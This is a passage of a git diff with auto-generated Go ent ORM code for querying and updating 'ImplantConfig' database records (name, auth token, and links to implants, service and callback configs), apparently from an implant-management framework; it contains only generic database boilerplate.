return sql.ScanSlice(rows, v) +} + +func (icgb *ImplantConfigGroupBy) sqlQuery() *sql.Selector { + selector := icgb.sql.Select() + aggregation := make([]string, 0, len(icgb.fns)) + for _, fn := range icgb.fns { + aggregation = append(aggregation, fn(selector)) + } + // If no columns were selected in a custom aggregation function, the default + // selection is the fields used for "group-by", and the aggregation functions. + if len(selector.SelectedColumns()) == 0 { + columns := make([]string, 0, len(icgb.fields)+len(icgb.fns)) + for _, f := range icgb.fields { + columns = append(columns, selector.C(f)) + } + columns = append(columns, aggregation...) + selector.Select(columns...) + } + return selector.GroupBy(selector.Columns(icgb.fields...)...) +} + +// ImplantConfigSelect is the builder for selecting fields of ImplantConfig entities. +type ImplantConfigSelect struct { + *ImplantConfigQuery + // intermediate query (i.e. traversal path). + sql *sql.Selector +} + +// Scan applies the selector query and scans the result into the given value. +func (ics *ImplantConfigSelect) Scan(ctx context.Context, v interface{}) error { + if err := ics.prepareQuery(ctx); err != nil { + return err + } + ics.sql = ics.ImplantConfigQuery.sqlQuery(ctx) + return ics.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (ics *ImplantConfigSelect) ScanX(ctx context.Context, v interface{}) { + if err := ics.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) Strings(ctx context.Context) ([]string, error) { + if len(ics.fields) > 1 { + return nil, errors.New("ent: ImplantConfigSelect.Strings is not achievable when selecting more than 1 field") + } + var v []string + if err := ics.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (ics *ImplantConfigSelect) StringsX(ctx context.Context) []string { + v, err := ics.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = ics.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigSelect.Strings returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (ics *ImplantConfigSelect) StringX(ctx context.Context) string { + v, err := ics.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) Ints(ctx context.Context) ([]int, error) { + if len(ics.fields) > 1 { + return nil, errors.New("ent: ImplantConfigSelect.Ints is not achievable when selecting more than 1 field") + } + var v []int + if err := ics.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (ics *ImplantConfigSelect) IntsX(ctx context.Context) []int { + v, err := ics.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = ics.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigSelect.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (ics *ImplantConfigSelect) IntX(ctx context.Context) int { + v, err := ics.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) Float64s(ctx context.Context) ([]float64, error) { + if len(ics.fields) > 1 { + return nil, errors.New("ent: ImplantConfigSelect.Float64s is not achievable when selecting more than 1 field") + } + var v []float64 + if err := ics.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (ics *ImplantConfigSelect) Float64sX(ctx context.Context) []float64 { + v, err := ics.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + if v, err = ics.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigSelect.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (ics *ImplantConfigSelect) Float64X(ctx context.Context) float64 { + v, err := ics.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) Bools(ctx context.Context) ([]bool, error) { + if len(ics.fields) > 1 { + return nil, errors.New("ent: ImplantConfigSelect.Bools is not achievable when selecting more than 1 field") + } + var v []bool + if err := ics.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (ics *ImplantConfigSelect) BoolsX(ctx context.Context) []bool { + v, err := ics.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a selector. It is only allowed when selecting one field. +func (ics *ImplantConfigSelect) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = ics.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigSelect.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (ics *ImplantConfigSelect) BoolX(ctx context.Context) bool { + v, err := ics.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (ics *ImplantConfigSelect) sqlScan(ctx context.Context, v interface{}) error { + rows := &sql.Rows{} + query, args := ics.sql.Query() + if err := ics.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} diff --git a/ent/implantconfig_update.go b/ent/implantconfig_update.go new file mode 100644 index 000000000..ad24ad4d6 --- /dev/null +++ b/ent/implantconfig_update.go @@ -0,0 +1,882 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "errors" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantConfigUpdate is the builder for updating ImplantConfig entities. +type ImplantConfigUpdate struct { + config + hooks []Hook + mutation *ImplantConfigMutation +} + +// Where appends a list predicates to the ImplantConfigUpdate builder. +func (icu *ImplantConfigUpdate) Where(ps ...predicate.ImplantConfig) *ImplantConfigUpdate { + icu.mutation.Where(ps...) + return icu +} + +// SetName sets the "name" field. +func (icu *ImplantConfigUpdate) SetName(s string) *ImplantConfigUpdate { + icu.mutation.SetName(s) + return icu +} + +// SetAuthToken sets the "authToken" field. +func (icu *ImplantConfigUpdate) SetAuthToken(s string) *ImplantConfigUpdate { + icu.mutation.SetAuthToken(s) + return icu +} + +// SetNillableAuthToken sets the "authToken" field if the given value is not nil. +func (icu *ImplantConfigUpdate) SetNillableAuthToken(s *string) *ImplantConfigUpdate { + if s != nil { + icu.SetAuthToken(*s) + } + return icu +} + +// AddImplantIDs adds the "implants" edge to the Implant entity by IDs. +func (icu *ImplantConfigUpdate) AddImplantIDs(ids ...int) *ImplantConfigUpdate { + icu.mutation.AddImplantIDs(ids...) + return icu +} + +// AddImplants adds the "implants" edges to the Implant entity. +func (icu *ImplantConfigUpdate) AddImplants(i ...*Implant) *ImplantConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icu.AddImplantIDs(ids...) +} + +// AddServiceConfigIDs adds the "serviceConfigs" edge to the ImplantServiceConfig entity by IDs. +func (icu *ImplantConfigUpdate) AddServiceConfigIDs(ids ...int) *ImplantConfigUpdate { + icu.mutation.AddServiceConfigIDs(ids...) + return icu +} + +// AddServiceConfigs adds the "serviceConfigs" edges to the ImplantServiceConfig entity. +func (icu *ImplantConfigUpdate) AddServiceConfigs(i ...*ImplantServiceConfig) *ImplantConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icu.AddServiceConfigIDs(ids...) +} + +// AddCallbackConfigIDs adds the "callbackConfigs" edge to the ImplantCallbackConfig entity by IDs. +func (icu *ImplantConfigUpdate) AddCallbackConfigIDs(ids ...int) *ImplantConfigUpdate { + icu.mutation.AddCallbackConfigIDs(ids...) + return icu +} + +// AddCallbackConfigs adds the "callbackConfigs" edges to the ImplantCallbackConfig entity. +func (icu *ImplantConfigUpdate) AddCallbackConfigs(i ...*ImplantCallbackConfig) *ImplantConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icu.AddCallbackConfigIDs(ids...) +} + +// Mutation returns the ImplantConfigMutation object of the builder. +func (icu *ImplantConfigUpdate) Mutation() *ImplantConfigMutation { + return icu.mutation +} + +// ClearImplants clears all "implants" edges to the Implant entity. +func (icu *ImplantConfigUpdate) ClearImplants() *ImplantConfigUpdate { + icu.mutation.ClearImplants() + return icu +} + +// RemoveImplantIDs removes the "implants" edge to Implant entities by IDs. +func (icu *ImplantConfigUpdate) RemoveImplantIDs(ids ...int) *ImplantConfigUpdate { + icu.mutation.RemoveImplantIDs(ids...) + return icu +} + +// RemoveImplants removes "implants" edges to Implant entities. +func (icu *ImplantConfigUpdate) RemoveImplants(i ...*Implant) *ImplantConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icu.RemoveImplantIDs(ids...) +} + +// ClearServiceConfigs clears all "serviceConfigs" edges to the ImplantServiceConfig entity. +func (icu *ImplantConfigUpdate) ClearServiceConfigs() *ImplantConfigUpdate { + icu.mutation.ClearServiceConfigs() + return icu +} + +// RemoveServiceConfigIDs removes the "serviceConfigs" edge to ImplantServiceConfig entities by IDs. +func (icu *ImplantConfigUpdate) RemoveServiceConfigIDs(ids ...int) *ImplantConfigUpdate { + icu.mutation.RemoveServiceConfigIDs(ids...) + return icu +} + +// RemoveServiceConfigs removes "serviceConfigs" edges to ImplantServiceConfig entities. +func (icu *ImplantConfigUpdate) RemoveServiceConfigs(i ...*ImplantServiceConfig) *ImplantConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icu.RemoveServiceConfigIDs(ids...) +} + +// ClearCallbackConfigs clears all "callbackConfigs" edges to the ImplantCallbackConfig entity. +func (icu *ImplantConfigUpdate) ClearCallbackConfigs() *ImplantConfigUpdate { + icu.mutation.ClearCallbackConfigs() + return icu +} + +// RemoveCallbackConfigIDs removes the "callbackConfigs" edge to ImplantCallbackConfig entities by IDs. +func (icu *ImplantConfigUpdate) RemoveCallbackConfigIDs(ids ...int) *ImplantConfigUpdate { + icu.mutation.RemoveCallbackConfigIDs(ids...) + return icu +} + +// RemoveCallbackConfigs removes "callbackConfigs" edges to ImplantCallbackConfig entities. +func (icu *ImplantConfigUpdate) RemoveCallbackConfigs(i ...*ImplantCallbackConfig) *ImplantConfigUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icu.RemoveCallbackConfigIDs(ids...) +} + +// Save executes the query and returns the number of nodes affected by the update operation. +func (icu *ImplantConfigUpdate) Save(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(icu.hooks) == 0 { + if err = icu.check(); err != nil { + return 0, err + } + affected, err = icu.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = icu.check(); err != nil { + return 0, err + } + icu.mutation = mutation + affected, err = icu.sqlSave(ctx) + mutation.done = true + return affected, err + }) + for i := len(icu.hooks) - 1; i >= 0; i-- { + if icu.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = icu.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, icu.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// SaveX is like Save, but panics if an error occurs. +func (icu *ImplantConfigUpdate) SaveX(ctx context.Context) int { + affected, err := icu.Save(ctx) + if err != nil { + panic(err) + } + return affected +} + +// Exec executes the query. +func (icu *ImplantConfigUpdate) Exec(ctx context.Context) error { + _, err := icu.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (icu *ImplantConfigUpdate) ExecX(ctx context.Context) { + if err := icu.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (icu *ImplantConfigUpdate) check() error { + if v, ok := icu.mutation.Name(); ok { + if err := implantconfig.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "ImplantConfig.name": %w`, err)} + } + } + return nil +} + +func (icu *ImplantConfigUpdate) sqlSave(ctx context.Context) (n int, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantconfig.Table, + Columns: implantconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + if ps := icu.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := icu.mutation.Name(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantconfig.FieldName, + }) + } + if value, ok := icu.mutation.AuthToken(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantconfig.FieldAuthToken, + }) + } + if icu.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: implantconfig.ImplantsTable, + Columns: []string{implantconfig.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icu.mutation.RemovedImplantsIDs(); len(nodes) > 0 && !icu.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: implantconfig.ImplantsTable, + Columns: []string{implantconfig.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icu.mutation.ImplantsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: implantconfig.ImplantsTable, + Columns: []string{implantconfig.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if icu.mutation.ServiceConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icu.mutation.RemovedServiceConfigsIDs(); len(nodes) > 0 && !icu.mutation.ServiceConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icu.mutation.ServiceConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if icu.mutation.CallbackConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icu.mutation.RemovedCallbackConfigsIDs(); len(nodes) > 0 && !icu.mutation.CallbackConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icu.mutation.CallbackConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantcallbackconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if n, err = sqlgraph.UpdateNodes(ctx, icu.driver, _spec); err != nil { + if _, ok := err.(*sqlgraph.NotFoundError); ok { + err = &NotFoundError{implantconfig.Label} + } else if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return 0, err + } + return n, nil +} + +// ImplantConfigUpdateOne is the builder for updating a single ImplantConfig entity. +type ImplantConfigUpdateOne struct { + config + fields []string + hooks []Hook + mutation *ImplantConfigMutation +} + +// SetName sets the "name" field. +func (icuo *ImplantConfigUpdateOne) SetName(s string) *ImplantConfigUpdateOne { + icuo.mutation.SetName(s) + return icuo +} + +// SetAuthToken sets the "authToken" field. +func (icuo *ImplantConfigUpdateOne) SetAuthToken(s string) *ImplantConfigUpdateOne { + icuo.mutation.SetAuthToken(s) + return icuo +} + +// SetNillableAuthToken sets the "authToken" field if the given value is not nil. +func (icuo *ImplantConfigUpdateOne) SetNillableAuthToken(s *string) *ImplantConfigUpdateOne { + if s != nil { + icuo.SetAuthToken(*s) + } + return icuo +} + +// AddImplantIDs adds the "implants" edge to the Implant entity by IDs. +func (icuo *ImplantConfigUpdateOne) AddImplantIDs(ids ...int) *ImplantConfigUpdateOne { + icuo.mutation.AddImplantIDs(ids...) + return icuo +} + +// AddImplants adds the "implants" edges to the Implant entity. +func (icuo *ImplantConfigUpdateOne) AddImplants(i ...*Implant) *ImplantConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icuo.AddImplantIDs(ids...) +} + +// AddServiceConfigIDs adds the "serviceConfigs" edge to the ImplantServiceConfig entity by IDs. +func (icuo *ImplantConfigUpdateOne) AddServiceConfigIDs(ids ...int) *ImplantConfigUpdateOne { + icuo.mutation.AddServiceConfigIDs(ids...) + return icuo +} + +// AddServiceConfigs adds the "serviceConfigs" edges to the ImplantServiceConfig entity. +func (icuo *ImplantConfigUpdateOne) AddServiceConfigs(i ...*ImplantServiceConfig) *ImplantConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icuo.AddServiceConfigIDs(ids...) +} + +// AddCallbackConfigIDs adds the "callbackConfigs" edge to the ImplantCallbackConfig entity by IDs. +func (icuo *ImplantConfigUpdateOne) AddCallbackConfigIDs(ids ...int) *ImplantConfigUpdateOne { + icuo.mutation.AddCallbackConfigIDs(ids...) + return icuo +} + +// AddCallbackConfigs adds the "callbackConfigs" edges to the ImplantCallbackConfig entity. +func (icuo *ImplantConfigUpdateOne) AddCallbackConfigs(i ...*ImplantCallbackConfig) *ImplantConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icuo.AddCallbackConfigIDs(ids...) +} + +// Mutation returns the ImplantConfigMutation object of the builder. +func (icuo *ImplantConfigUpdateOne) Mutation() *ImplantConfigMutation { + return icuo.mutation +} + +// ClearImplants clears all "implants" edges to the Implant entity. +func (icuo *ImplantConfigUpdateOne) ClearImplants() *ImplantConfigUpdateOne { + icuo.mutation.ClearImplants() + return icuo +} + +// RemoveImplantIDs removes the "implants" edge to Implant entities by IDs. +func (icuo *ImplantConfigUpdateOne) RemoveImplantIDs(ids ...int) *ImplantConfigUpdateOne { + icuo.mutation.RemoveImplantIDs(ids...) + return icuo +} + +// RemoveImplants removes "implants" edges to Implant entities. +func (icuo *ImplantConfigUpdateOne) RemoveImplants(i ...*Implant) *ImplantConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icuo.RemoveImplantIDs(ids...) +} + +// ClearServiceConfigs clears all "serviceConfigs" edges to the ImplantServiceConfig entity. +func (icuo *ImplantConfigUpdateOne) ClearServiceConfigs() *ImplantConfigUpdateOne { + icuo.mutation.ClearServiceConfigs() + return icuo +} + +// RemoveServiceConfigIDs removes the "serviceConfigs" edge to ImplantServiceConfig entities by IDs. +func (icuo *ImplantConfigUpdateOne) RemoveServiceConfigIDs(ids ...int) *ImplantConfigUpdateOne { + icuo.mutation.RemoveServiceConfigIDs(ids...) + return icuo +} + +// RemoveServiceConfigs removes "serviceConfigs" edges to ImplantServiceConfig entities. +func (icuo *ImplantConfigUpdateOne) RemoveServiceConfigs(i ...*ImplantServiceConfig) *ImplantConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icuo.RemoveServiceConfigIDs(ids...) +} + +// ClearCallbackConfigs clears all "callbackConfigs" edges to the ImplantCallbackConfig entity. +func (icuo *ImplantConfigUpdateOne) ClearCallbackConfigs() *ImplantConfigUpdateOne { + icuo.mutation.ClearCallbackConfigs() + return icuo +} + +// RemoveCallbackConfigIDs removes the "callbackConfigs" edge to ImplantCallbackConfig entities by IDs. +func (icuo *ImplantConfigUpdateOne) RemoveCallbackConfigIDs(ids ...int) *ImplantConfigUpdateOne { + icuo.mutation.RemoveCallbackConfigIDs(ids...) + return icuo +} + +// RemoveCallbackConfigs removes "callbackConfigs" edges to ImplantCallbackConfig entities. +func (icuo *ImplantConfigUpdateOne) RemoveCallbackConfigs(i ...*ImplantCallbackConfig) *ImplantConfigUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return icuo.RemoveCallbackConfigIDs(ids...) +} + +// Select allows selecting one or more fields (columns) of the returned entity. +// The default is selecting all fields defined in the entity schema. +func (icuo *ImplantConfigUpdateOne) Select(field string, fields ...string) *ImplantConfigUpdateOne { + icuo.fields = append([]string{field}, fields...) + return icuo +} + +// Save executes the query and returns the updated ImplantConfig entity. +func (icuo *ImplantConfigUpdateOne) Save(ctx context.Context) (*ImplantConfig, error) { + var ( + err error + node *ImplantConfig + ) + if len(icuo.hooks) == 0 { + if err = icuo.check(); err != nil { + return nil, err + } + node, err = icuo.sqlSave(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err = icuo.check(); err != nil { + return nil, err + } + icuo.mutation = mutation + node, err = icuo.sqlSave(ctx) + mutation.done = true + return node, err + }) + for i := len(icuo.hooks) - 1; i >= 0; i-- { + if icuo.hooks[i] == nil { + return nil, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = icuo.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, icuo.mutation); err != nil { + return nil, err + } + } + return node, err +} + +// SaveX is like Save, but panics if an error occurs. +func (icuo *ImplantConfigUpdateOne) SaveX(ctx context.Context) *ImplantConfig { + node, err := icuo.Save(ctx) + if err != nil { + panic(err) + } + return node +} + +// Exec executes the query on the entity. +func (icuo *ImplantConfigUpdateOne) Exec(ctx context.Context) error { + _, err := icuo.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (icuo *ImplantConfigUpdateOne) ExecX(ctx context.Context) { + if err := icuo.Exec(ctx); err != nil { + panic(err) + } +} + +// check runs all checks and user-defined validators on the builder. +func (icuo *ImplantConfigUpdateOne) check() error { + if v, ok := icuo.mutation.Name(); ok { + if err := implantconfig.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "ImplantConfig.name": %w`, err)} + } + } + return nil +} + +func (icuo *ImplantConfigUpdateOne) sqlSave(ctx context.Context) (_node *ImplantConfig, err error) { + _spec := &sqlgraph.UpdateSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantconfig.Table, + Columns: implantconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + id, ok := icuo.mutation.ID() + if !ok { + return nil, &ValidationError{Name: "id", err: errors.New(`ent: missing "ImplantConfig.id" for update`)} + } + _spec.Node.ID.Value = id + if fields := icuo.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implantconfig.FieldID) + for _, f := range fields { + if !implantconfig.ValidColumn(f) { + return nil, &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + if f != implantconfig.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, f) + } + } + } + if ps := icuo.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if value, ok := icuo.mutation.Name(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantconfig.FieldName, + }) + } + if value, ok := icuo.mutation.AuthToken(); ok { + _spec.Fields.Set = append(_spec.Fields.Set, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantconfig.FieldAuthToken, + }) + } + if icuo.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: implantconfig.ImplantsTable, + Columns: []string{implantconfig.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icuo.mutation.RemovedImplantsIDs(); len(nodes) > 0 && !icuo.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: implantconfig.ImplantsTable, + Columns: []string{implantconfig.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := icuo.mutation.ImplantsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: implantconfig.ImplantsTable, + Columns: []string{implantconfig.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } + if icuo.mutation.ServiceConfigsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := 